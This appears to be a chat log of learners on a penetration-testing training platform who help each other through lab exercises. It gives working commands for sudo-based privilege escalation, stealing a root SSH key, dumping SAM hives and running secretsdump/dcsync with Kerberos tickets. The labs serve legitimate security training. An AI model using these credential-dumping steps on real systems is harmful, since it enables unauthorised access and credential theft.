[vocal lagoon]

I don't remember let me check

I have visited it in my browser yes

[tranquil copper]

so port 80 then

[vocal lagoon]

I feel a little silly now

[next bronze]

and what's the address you put in the url?

[cloud urchin]

i would read over the page carefully, generally you're not going to be able to just use searchsploit and pick one to exploit the target

[vocal lagoon]

http://83.136.249.159:52169/

[next bronze]

so what's the port?

[tranquil copper]

ah lol

[vocal lagoon]

yknow it makes more sense now

[cloud urchin]

that's also a public IP address -- is this from a htb module?

[vocal lagoon]

now that I've said it out loud

[next bronze]

yes it's a docker container

[vocal lagoon]

yes

[cloud urchin]

ahh ok

[vocal lagoon]

so just to be clear

52169 is the port

[cloud urchin]

correct

[vocal lagoon]

or is 80 the port

ah ok

yep now I think I got it

or well I atleast got something

[tranquil copper]

yeah, good job! now you just gotta read it 🙂

[cloud urchin]

on this DACL module -- am i supposed to be able to use GMSAPasswordReader? I believe this is the next step to obtain jose's NTLM, but the program isn't working. the module didn't teach rubeus at all, but I think I can get it from there because I see a ticket from him, but that's not the intended method...

[vocal lagoon]

boingo bango now I gotta add this to the notes

[cloud urchin]

also it appears to be using LDAP, and the whole time this module is calling to use ldap, but ldap does not work in this lab.

[next bronze]

ldap will have to work, else the whole domain is broken

[cloud urchin]

yeah i think it's busted

hasn't worked the whole time

oh you mean in general. yeah idk. but this thing is falling to make ldap calls along with cme, etc

the whole module gives you cme commands via ldap, which straight up do not work. smb works fine.

[next bronze]

you need to add the hostname and fqdn to /etc/hosts for ldap

[cloud urchin]

this is on the windows machine inside the domain, ws01$

[next bronze]

you run cme on a windows machine?

[cloud urchin]

no, i did it before with my kali box

i mean, is gmsapw reader supposed to work? because its not working and i'm pretty positive this is the intended path

[fathom pendant]

-- supplied credential is invalid

[cloud urchin]

correct

[fathom pendant]

meaning you did something wrong :)

[cloud urchin]

you don't supply it creds, just the username.

[fathom pendant]

jose sounds like a name, not a username

is that their samaccountname?

[cloud urchin]

this is what's instructed in the module, and this is what worked in the learning path up to this skill assessment

for some reason rubeus is in there, despite not using it once in the entire module, it does say you can use the tools in c:\tools, but i don't think that's intended

[next bronze]

how are you so sure that it's the intended path

[cloud urchin]

because rubeus wasn't in the module

and they specifically taught to use gmsapasswordreader

[fathom pendant]

by module do you mean section?

[cloud urchin]

no. the entire dacl module does not use rubeus at all.

[next bronze]

it's not rubeus but post exploit routine still applies, the scenario given is a pentest after all

wait didn't I told you the same thing for the adcs module

[cloud urchin]

i know, but i want to do it the intended way

i mean let's think about this. the module doesn't cover rubeus. it covers gmsapasswordreader.exe specifically, and shows you how to gran the ntlm with it

[next bronze]

but what you think is intended doesn't work, does it?

[cloud urchin]

it teaches you to use this specific tool.

it doesn't even mention the other one once

[fathom pendant]

is it possible that it's assuming you are in a post-exploit scenario?

[cloud urchin]

i highly doubt you're 'supposed' to use rubeus

[next bronze]

I didn't say you need to use rubeus

I mean, if you're so sure then go ahead

[cloud urchin]

so basically, you don't know why this isn't working either is what you're saying?

[fathom pendant]

that's not what he's saying at all

[next bronze]

but just saying, gmsa stands for group managed service accounts, does the account "jose" appear to be a service account?

[fathom pendant]

I don't but XreOuS has completed more of the AD modules than me

[cloud urchin]

well that makes sense then

but still

weird that it just throws rubeus in there

[fathom pendant]

so I trust him to have done his due diligence in understanding the tools at play

[next bronze]

you don't have to use rubeus, do your post exploit routine, gmsa comes later

that's as much as i can say without giving the steps

[cloud urchin]

alright thanks

[vocal lagoon]

for the privilege escalation module in the getting started module I cannot ssh in

It keeps refusing my publickey

am I meant to break into it?

There is no port specified above and it gives me the login and password

[fathom pendant]

yes there is

it'll specifically be after the ip

it's given as ip:port

look where you clicked to spawn the target

[vocal lagoon]

I thought it would be somewhere else lol mbad

[fathom pendant]

generally when given a public IP you're also given a port to attack

as opposed to the private IP where you're expected to scan and recon

[vocal lagoon]

Ah that's fair

that's kinda what I was expecting to do

[fathom pendant]

this is explicitly telling you what connection protocol to use and even how to specify the port :)

which makes that the easy part

[vocal lagoon]

yee :D

now I just gotta do the python stuffs

[fathom pendant]

scp will be your transfer tool here

scp source destination

so: scp [local filepath on your attack machine] [destination on target]

it'll be the format user@ip:~/ for their home directory and i believe it uses -p for port

[fathom pendant]

also wdym by "the python stuff?"

[vocal lagoon]

trying the diff enumeration scripts

[fathom pendant]

ah fair

[vocal lagoon]

I'm really not understanding what im looking at rn or what i've read and I think it's because im tired

[fathom pendant]

tbh you should always start with seeing what your user can sudo

[vocal lagoon]

so im gonna try to power through and then try it again tommrow

[fathom pendant]

the enum scripts can throw a bunch of info at you

and a lot of the info is useless

[fathom pendant]

some basic stuff you can do without scripts is checking sudo perms and history

[vocal lagoon]

yeah I see

which I assume is what im supposed to do

[fathom pendant]

well to break down what that means

it means user1 can run /bin/bash in the context of user2 with sudo

[vocal lagoon]

I also already checked the kernel version too

to look for exploits

[fathom pendant]

kernel version is irrelevent

there is no exploit or anything that's complex like that

[vocal lagoon]

ahh

[fathom pendant]

check sudo -h to see what all you can do with sudo

[vocal lagoon]

the page I read said to check for stuff like that

[fathom pendant]

reminder: this is a getting-started section

there's nothing that's gonna be uber complex

kernel exploits would be considered complex

[vocal lagoon]

I see

I'm struggling on direction to get to user 2 atm though

[fathom pendant]

like i said

you can run /bin/bash in the context of user2 with sudo

[vocal lagoon]

I'm kinda braindead at the moment, that means with context earlier it's a no password too?

so I basically just get a free terminal

[fathom pendant]

correct: meaning it doesn't require a password to perform this

[vocal lagoon]

so typing:

[fathom pendant]

well yes if you just do sudo /bin/bash you're not gonna get there

[vocal lagoon]

yeah fair

[fathom pendant]

without a user argument, it's assumed to be root

but sudo can do more than root

as stated earlier: read the help/man page for the tool

[vocal lagoon]

progress

we have done it

[rustic sage]

i think you might be missing an argument

[vocal lagoon]

hm

with this I ran /bin/bash again but now It wants a password for user2

this is progress

[fathom pendant]

look at the start of the line

you are now user2

[vocal lagoon]

oh good point

[fathom pendant]

😉

[vocal lagoon]

:3

I'm sure once I actually sleep I won't feel so braindead

[fathom pendant]

tbh i'd revisit this after you sleep

[vocal lagoon]

yeah

[fathom pendant]

since doing any type of learning while tired will likely lead to a loss of information

[vocal lagoon]

this is also only the 4th day I've been working with linux

before this I hadn't touched it

[fathom pendant]

either way

[vocal lagoon]

yeah

[fathom pendant]

now you just need to get to this user's home directory

there's a handful of ways, usually just cd will drop you to the user's home

or cd ~

otherwise cd /home/user/<username> works

[vocal lagoon]

yee

I did the 2nd option

[fathom pendant]

now just about seeing what user2 can do or see

maybe history is helpful here

[vocal lagoon]

yeah

I wanna see what privs user 2 has

[fathom pendant]

they may have no privs, but you need to get to root, so maybe looking at all of the info in /root/ can help you move forward

[vocal lagoon]

yee I see the flag

but I need the root access

[fathom pendant]

look closely at the files/directories in /root/

[tranquil copper]

read over the portion that talks about SSH Keys for that part also.

[fathom pendant]

that comes in later

[vocal lagoon]

hm

[fathom pendant]

not much later

[dim wolf]

if you escalate privileges you can get the flag.

[fathom pendant]

but finding the right place to look helps

[dim wolf]

in the rot

[vocal lagoon]

well yea that's kinda the point of this one

[dim wolf]

glad to have helped

👍

[fathom pendant]

yes and the floor is made of floor; great contribution

[fathom pendant]

look at the file perms ( -la will list all attributes)

you might notice something interesting about all the directories there that make them different from the root flag.txt

[vocal lagoon]

yee I can read everything except flag.txt

[fathom pendant]

i'll wait for it to click

[vocal lagoon]

well all but one are in the same group

[fathom pendant]

still waiting for it to click

re: ssh keys

[vocal lagoon]

ahh I thought that was for later

[fathom pendant]

not much later

my point was you needed to find the right place to look first

before worrying about ssh keys

[vocal lagoon]

ahh I thought when you said that earlier you were saying save that for a later assignment

[fathom pendant]

no these assignments are independent of each other

[soft cedar]

check the fail string.

[vocal lagoon]

yee

I gotta copy the ssh key

now I gotta do the best way for it

[fathom pendant]

i mean good ole ctrl+shit+c and paste into a text editor works fine

[vocal lagoon]

that's fair

[fathom pendant]

then just adjusting the permissions

[vocal lagoon]

I adjusted the perms but it doesnt like the format

does it gotta be rsa?

[fathom pendant]

yes

remember you need the id_rsa file

not the .pub or other files in that directory

and it needs to have the

----BEGIN
----END
```
lines

[vocal lagoon]

:D

[fathom pendant]

gg :D

[vocal lagoon]

now to try and turn that into notes lol

I think all this will be easier once im more used to how linux works

[fathom pendant]

i wouldn't worry too much about it with the getting-started stuff as they're showcasing different methods

[vocal lagoon]

right as I hit compleated

[fathom pendant]

go sleep and finish tomorrow

[vocal lagoon]

https://tenor.com/view/neco-arc-neco-arc-fate-cat-gif-1748062773671823114

yeah

[hollow ibex]

Try to Analyze the deobfuscated JavaScript code, and understand its main functionality. Once you do, try to replicate what it's doing to get a secret key. What is the key? i am giving the right answer of this but i always giving message wrong answer

[fathom pendant]

the key might be further obfuscated with +

[hollow ibex]

but i try it with key=answer it give me the riht answer and it was submited as a correct

[fathom pendant]

you don't need the key= part

just the key itself

unless i'm misunderstanding what you're meaning

this is the javascript deobfuscation module, what section?

[hollow ibex]

yes

skill asessment second last question

[fathom pendant]

in future it helps when you include the module name and section name you're working on

[hollow ibex]

ok

now what i do

[fathom pendant]

you have the key as 415... yeah? (obviously don't say the whole thing)

you're applying all the skills from the module here

you need to analyze what the JS code is doing in order to move forward

that key is encoded in some form

[hollow ibex]

yes i have key and use it further to retirive last flag but 2 last not working

[fathom pendant]

the DECODED_KEY is the value of the previous question decoded

[hollow ibex]

i put that but icorrect anwser

[cloud urchin]

man i just don't know what i'm missing with this dacl thing

[hollow ibex]

@fathom pendant thanks it resolves

[fathom pendant]

np i just reran it to be sure and yep all techniques from the module is shown

[hexed plover]

Any feedback for OSINT: Corporate Recon? Is it worth to buy or subscribe for 1000 box?

[remote latch]

whats the point of doing the intro to different languages modules

[rustic sage]

PHP and javascript will seriously benefit you in the pentesting modules.

actually I probably would just suggest a whole course on web development before going into pentesting

the windows command line module which is new should also be a must for it

[clear swift]

intro iis usually data types and syntax. Different in all

[limber river]

damn the intro to assembly skill assessment is really hard

[normal panther]

On Getting Started module : Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)

I cannot identify which service is vulnerable lmao

[pine vault]

Hi 😉 Looking for some help on the HTTP Spliiting attack module, please 😉

[short hare]

Completed that one???

[cloud urchin]

phew finally got dacl attacks done. took me longer than i liked but that was a fun one.

[limber river]

not yet , one solved , and one still working on it

[hollow ibex]

moudle name :xss section name: phishing i am stuck here to give the url to victim but when i test it's all look well and i allso get the credentials what i input any tip

[remote latch]

hi wolfie, i think ur rlly cute uwu :3 ^-^

[analog dock]

Uh

[remote latch]

did bash scripting intro, mfs asked me to do hella advanced shit, not even covered in the module

doing C# intro and its quite easy but ONLY because i learned it before

[frozen mesa]

Im still stuck at the beginning of intro to C# ( first questions) but intro to bash was quite ok for me, before these two i've only scripted in python.

[fathom pendant]

it just mostly depends on the person

some people have an easier time with some languages than others

[frozen mesa]

Still stuck at FILE UPLOAD ATTACKS --> blacklist.

I've enumerated the file extensions and picked .php6 , uploaded it, error. Made the file with double extensions, same result. What am i missing to make this work?

Error: image cannot be displayed <url> because it contains errors.

[remote latch]

whats the first question on C#

[minor stag]

Is there some trick to this? I can ping the spawned box lol

[remote latch]

its cuz ur using brave instead of firefox

(jk, im just firefox enjoyer)

[fathom pendant]

that's not the only error

[remote latch]

htb academy doesnt require vpn no more

[frozen mesa]

Declare a byte variable aByte and assign it the maximum value that a byte can hold.
Submit your answer here...

• 0 Declare a nullable integer named itemsCount and assign it the null value.

[remote latch]

at least for me

[fathom pendant]

you're meant to rdp to the box first; then visit the url

[remote latch]

so fucking easy

[minor stag]

Well that explains it lol

[remote latch]

meanwhile bash is hard as fuck

[frozen mesa]

haha I think the oposite about it 😂

[remote latch]

we should work together on shit

with our opposites combined we can be great team

[minor stag]

Maybe I need coffee before I start studying

[remote latch]

btw im also script kiddie

[remote latch]

i never tried coffie(im 15)

[remote latch]

drink 3 redbulls before you start

i guarantee that you will do Excellent on exercises

[minor stag]

I just wanted something easier before I got back on the Active Directory Enum & Attacks grind and I'm still messing up minor things

[remote latch]

can relate up to a point

[frozen mesa]

Anyone a nudge? Guess its very simple but i keep missing it.

[fathom pendant]

did you set the magic bytes?

[remote latch]

find a write up

[frozen mesa]

most post only answers, i want to learn how to come to the result.

[remote latch]

thereis this site called medium

[frozen mesa]

No... didnt note anything about that in this module.

[remote latch]

there you can find write up for almost anything

[icy hazel]

In "Windows Attack and Defense | PKI - ESC1" and I'm being asked to RDP to Kali then WS001. I can get into Kali just fine but connecting the WS001 just tells me that the login failed. I'm using the same IP for both (dont know if thats an issue), any help would be great 🙂

[fathom pendant]

also re: the C# question maybe this will help https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/builtin-types/integral-numeric-types

[frozen mesa]

Ah thanks! Thought you were talking about file upload attacks. But no i did not do that in that module. Thanks for the extra help 🙂

[fathom pendant]

file upload attacks i was referring to magic bytes for the image extension

which is why it's not loading

[frozen mesa]

Sorry for misunderstanding.

[icy hazel]

Okay so problem is the IP seems to only resemble a Kali VM, so I can't rdp to a windows machine. Is there another IP i'm missing?

[autumn pilot]

You will have to use the kali as a bastion host to reach/rdp into the WS001

Or you can set up socks proxy where you will be able to use your VM as the initial host through proxyhign

[hollow ibex]

moudle name :xss section name: phishing i am stuck here to give the url to victim but when i test it's all look well and i allso get the credentials what i input any tip

???

[long frost]

Module:Windows Event Logs & Finding Evil
Question:Replicate the DLL hijacking attack described in this section and provide the SHA256 hash of the malicious WININET.dll as your answer. "C:\Tools\Sysmon" and "C:\Tools\Reflective DLLInjection" on the spawned target contain everything you need.

Just wanted to say that replication of image loading was succesful, but sysmon didn't generate event with ID 7. Used certutil in the end.

[echo forge]

Hey, I'm with the same problem, don't know what it's expected @acoustic owl

[rustic grail]

Hi, I'm still stuck in this module PASSWORDS ATTACKS, page 15 on the last question "Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_)." I don't understand, what to do. I've answered the other questions correctly, but I have a problem with this one. What to do ? Please give me a beginning or a method... Thanks

[acoustic owl]

Send me a DM

[echo forge]

hey, did you figured it out? I'm with the same problem

[fathom pendant]

Step 1: find the linux01$ keytab or ccache

[rustic grail]

I have these in the .ker... folder, but after I can't use it because there are julio or david or other but not with root (sorry I'm not native english/american)

[fathom pendant]

You absolutely can use the ccache files for linux01$, use one of the tools shown in the section

[crystal steeple]

im in section child-parent attack from linux : Perform the ExtraSids attack to compromise the parent domain from the Linux attack host. After compromising the parent domain obtain the NTLM hash for the Domain Admin user bross. Submit this hash as your answer.

i got the shell session after executing the attack , but i can't transfer the sam files to my attack host to get the hashes

[fathom pendant]

Transfer files -> the median host then to your attack host

[crystal steeple]

yes tried that

also but its says network path not found

[fathom pendant]

Are you using the right network pathing?

I.e. from DC -> median host won't be 10.129.x.x

[crystal steeple]

ph

[rustic grail]

K, well, I use another user and after I : Impersonating a User with a keytab, but is there any linux01 user ?

[fathom pendant]

It'll be a 172 address

[fathom pendant]

Linux01$ is the machine account

There is a tool that enumerates all directories to find ccache and keytab files

[rare marten]

Hey anyone can help with my pc ?

Pls help

Anyone pls help my pc

[rustic grail]

Ok, thank's @fathom pendant I'll re-try harder :), the response is on the page, I know it 😉 I don't necessarily have to use : hashcat or other to find cred ?

[rare marten]

Pls anyone help

[fathom pendant]

This isn't a troubleshooting channel. Maybe ask in #1024429874246590575 with details of your issue

[rare marten]

im in ergen

[crystal steeple]

im stuck , cant transfer the files tried everything

either access denied or doesn't work

is there any method to oget that hash without trasnfering the sam files?

a windows tool or so

[next bronze]

have you already gotten DA?

why do you need to dump reg hives for the extrasid attack

[crystal steeple]

yes

[next bronze]

you have the DA's hash?

[crystal steeple]

of the parent domain?

[next bronze]

whichever domain you want to target

[crystal steeple]

idk , the extrasid attack let you get just the krbtgt hash to perform the attack and get the golden ticket

im not sure i understand

[next bronze]

and does it work?

[crystal steeple]

yes it did

i got a shell via psexec

[next bronze]

then just dcsync

[crystal steeple]

thanks man

i did dcsync with || secretsdump using adunn creds that were obtained via ACL Abuse||

i don't think i used that golden ticket in this dcsync no?

my problem is that i can't transfer mimikatz

oh no wait

[next bronze]

why not? you can dcsync over kerberos

use secretsdump

[crystal steeple]

let me check my notes

[visual pollen]

Hi, is it correct to say that a local administrator (in an AD environment) has ALMOST the rights of an AD user?

[crystal steeple]

i don't think this was covered in modules? not in dcsync section

[next bronze]

it's just dcsync but with a ticket, it's not that different than with ntlm

the same syntax you used for psexec will probably work

[next bronze]

yep

[visual pollen]

thank you!

[subtle stirrup]

0

[crystal steeple]

a password prompt popped

just to make sure the syntax should be || secretsdump.py LOGISTICS.INLANEFREIGHT.LOCAL/[e-mail] -k -no-pass -just-dc-user bross
||

nvm its worked

thanks man , the syntax was in the first thing the section started with lol but without the -k -no-pass flags

[dreamy yew]

I might need a nudge on this, Module: Password Attacks, Section: Attacking SAM. I have copied the sam.save, security.save, system.save to my attack machine. I have called python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -system system.save LOCAL, but it gave me the error of "read length must be non-negative or -1"

[dim wolf]

the target you connect to first is the target you spawn

if you want to connect to the other instance, you need to RDP from the target to that machine

you will need the internal IP address of that machine in order to do so

[fathom pendant]

Don't forget the security.save

[dreamy yew]

the same error persists though

[shadow cradle]

Hi for who already did the Vulnerability Assessment. I don't understand, in the Nessus Skill Assessment -> Requirements part where I can find the pre-populated scan data?
I checkd the spawn box but I don't see any nessusd service running

[dreamy yew]

The logs: python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] read length must be non-negative or -1
[*] Cleaning up...

[fathom pendant]

Do a checksum to make sure the files didn't get corrupted in transit

https://stackoverflow.com/questions/10521061/how-to-get-an-md5-checksum-in-powershell

[dreamy yew]

ok ill do it now

[fathom pendant]

It's not impossible

Another way is if you have rdp access, xfreerdp has the /drive: option so you don't have to mess too much with setting up python http.server and stuff

[dreamy yew]

Right now, I am following the HTB materials, for me to reg.exe hklm\sam C:\sam.save then I move it to the smbserver set up on the attacker machine

[next bronze]

isn't it reg save HKLM\SAM C:\sam.save

you missed save

[upbeat oak]

Hey I'm stuck on enumerating the FQDN I tried a dig ns inlanefreight.htb @ipaddress but I'm geting a communication error and no servers could be reached. Am I just using the wrong dig options or would it better to just use dnsenum?

[dreamy yew]

ya i followed it haha, but i did managed to have sam.save, security.save, system.save

[next bronze]

are the file sizes > 0?

[dreamy yew]

yes all of them are

[next bronze]

and yes do checksum on windows and after being transferred out

[fathom pendant]

Try with dig axfr

Alternatively nslookup domain nameserver/ip

[upbeat oak]

I'm going through my notes and I think the issue is my lack of understanding what a FQDN is and what I'm looking for in the outputs, it doesn't explain it a lot in the module

[fathom pendant]

FQDN is fully qualified domain name i.e. www.google.com would be the FQDN for google.com; anything after like www.google.com/search?query=whatever would be considered the URI

or translate.google.com is the FQDN of the google translate service

[fathom pendant]

the other dumb question would be: are you connected to the vpn

[fringe urchin]

installing odat took me ages 💀

[upbeat oak]

Connected to the openvpn and using kali also thank you for the explanation

[fathom pendant]

it's.... a tool, that's for sure

[fathom pendant]

👍 i've seen sometimes where it's the simple thing of not being connected/having the tun0 ip

[fringe urchin]

some lib were broken. had to install most alone and check which one is acting wierd. got it to work but seems like i fk up on the $PATH somewhere so i have problems calling it outside

[snow ridge]

Module kerberos attacks, section Unconstrained Delegation - Users.
I managed to complete it, but I'm not sure if I did it intended way. In examples htb used given hash to retrieve kerberos ticket but they provided users password in exercise. I couldn't do it with password so I converted it to NT hash then I got the ticket. And only way I managed to read flag was to use smbexec, is there a more convenient or better way to do that? I DCsynced admin but couldn't connect with evil-winrm its probably closed.

[upbeat oak]

🤝 I'll be more vary of that now for sure

[fathom pendant]

eh even the module shows running it from the directory

so it might just be how ODAT is set up that it doesn't like being called from outside the house

[fringe urchin]

i mean im in the directory but cant call python scripts. so i would need to recheck.

[fathom pendant]

• required file not found

thanks bash

[fringe urchin]

well its there

[fathom pendant]

very helpful

[fringe urchin]

[fathom pendant]

• is it executable?

[fringe urchin]

yes

works fine with this

[fathom pendant]

then just run it with python3

¯_(ツ)_/¯

[fringe urchin]

yep

[fathom pendant]

it looks like it's trying to run it with bash instead of python

which is generally the case when you do ./

it tries running it as a bash script, what happens if you just do odat.py -h

[fringe urchin]

ill just keep it alone and run with python3

[fathom pendant]

jsut run it with python3 and move on ig ¯_(ツ)_/¯

[fringe urchin]

if it works dont touch it

[fathom pendant]

no sense in fucking with it if it's working - Sun Tzu, probably

[fringe urchin]

"it works on my machine"

[dreamy yew]

@fathom pendant I checked all the MD5 hashes, turns out that my system.save file was corrupted. So I went to reg.exe save to generate system.save and tried to "move system.save \ip\dir". However, they keep saying "Unexpected network error occured" on the target machine although my attacking machine's smb server shows a connection.

is it a pwnbox issue zzz

i have tried a good 10 times

[fathom pendant]

tip: if you're using xfreerdp just use the /drive: option and drag and drop

:D

[dreamy yew]

ahhh ok I will try it now 🙂

Can anyone explain to me what does this option meant, let's say all the .save files are in the C:\ (target machine) and I executed xfreerdp with this: /drive:home,/home/user. Does it mean the file in C:\ (target machine) would be accessible at /home/user (attacking machine)

[analog dock]

No, it means you can access the share you set up on rdp

then you can copy files from the windows host to your share

[fathom pendant]

^

[dreamy yew]

so does it mean i still need to use move sam.save \ip\dir (on attacker)

[fathom pendant]

if you have rdp access, just drag and drop the files into the share

if you open up the file explorer -> this computer

you'll see that the linux drive is mapped there

then you can either copy the drive path from the top or drag and drop

[dreamy yew]

yup trying it now

[opal dagger]

hello there, im doing the linux privesc module now im in the Escaping Restricted Shells, i spent like 2 h looking into the commands im allow to run in that rbash shell and searching into GTFOBins on ways to scape but so far no luck, i will appreciate a little bone to point into the right direction.

[dreamy yew]

im checked out fr, the system.save seems too big for it to finish pasting into attacker's share, which caused the xfreerdp connection to keep crashing

pwnbox needs to do btr for SEA region

[fathom pendant]

try compressing the files into a zip file then moving them all

https://support.microsoft.com/en-us/windows/zip-and-unzip-files-8d28fa72-f2f9-712f-67df-f80cf89fd4e5

that's how to do it from the GUI

[dreamy yew]

[fringe urchin]

and i was happy im done with Oracle. then i saw they used another tool sqlplus 💀

[fathom pendant]

the sqlplus part isn't bad

[fringe urchin]

i just installed it from geeks

[fathom pendant]

i mean there's literally the official sqlplus installation from oracle

[fringe urchin]

worked for me except the PATH so again i have to call it from the opt/oracle/instantclient

[fathom pendant]

what's oraacle?

[fringe urchin]

yea i installed that when installing odat

but nope

[fathom pendant]

• rpm

[fringe urchin]

rpm -i

[fathom pendant]

I think a lot of the stuff is assuming you're working on a debian based machine rpm is redhat

so yeah you gotta do a little bit of extra work if you're doing this from a redhat linux system

as most people do pentesting from Kali or Parrot which are both Debian based

[fringe urchin]

im doing it from my parrot

[fathom pendant]

then why do you have rpm files idr needing to do any rpm stuff

[fringe urchin]

i changed from rpm to deb

with the command

-deb*

sudo alien --to-deb

i followed the github isntallation

[fathom pendant]

i don't see anywhere where the script has you download the .zip and nowhere does it use alien or anything like that

[fringe urchin]

https://github.com/quentinhardy/odat

the script in HTB didnt work

so i manually installed it

[fathom pendant]

it worked fine for me

[fringe urchin]

it didnt for me. i had bunch for broken packages. some of them didnt even work like the crypto

so i installed the other one that someone in here mentioned in in erratum

[fathom pendant]

¯_(ツ)_/¯

as long as it works for you ig

[fringe urchin]

[fathom pendant]

if packages are broken try doing --fix-broken in your apt update command

[fringe urchin]

#858470491676737536 message

this was one of the fixes with crypto package

[dreamy yew]

hey marcie, appreciate the hour-long of help assisted while the pwnbox was being laggy, i have managed to transferred everything from target to attacker using zip file and managed to solve flags. U da mvp 🙂

[fathom pendant]

no problem

if file too big > shrink it

and good thing there's built-in ways to do that with windows

[dreamy yew]

HAHA yes

i guess sometimes u gotta prepare a plan b, plan c

[fathom pendant]

this is why knowing multiple file transfer methods is good in case plan A fails

[dreamy yew]

yup makes sense

[fathom pendant]

it's also why the modules go over multiple methods of doing the same thing

the ad enum&attacks module goes over using powerview, rubeus, and mimikatz

to perform, essentially, the same functions

[dreamy yew]

oh i see, i am still far from it on the CPTS path but point taken

[fathom pendant]

just as an example

and the pivoting module goes over many different tools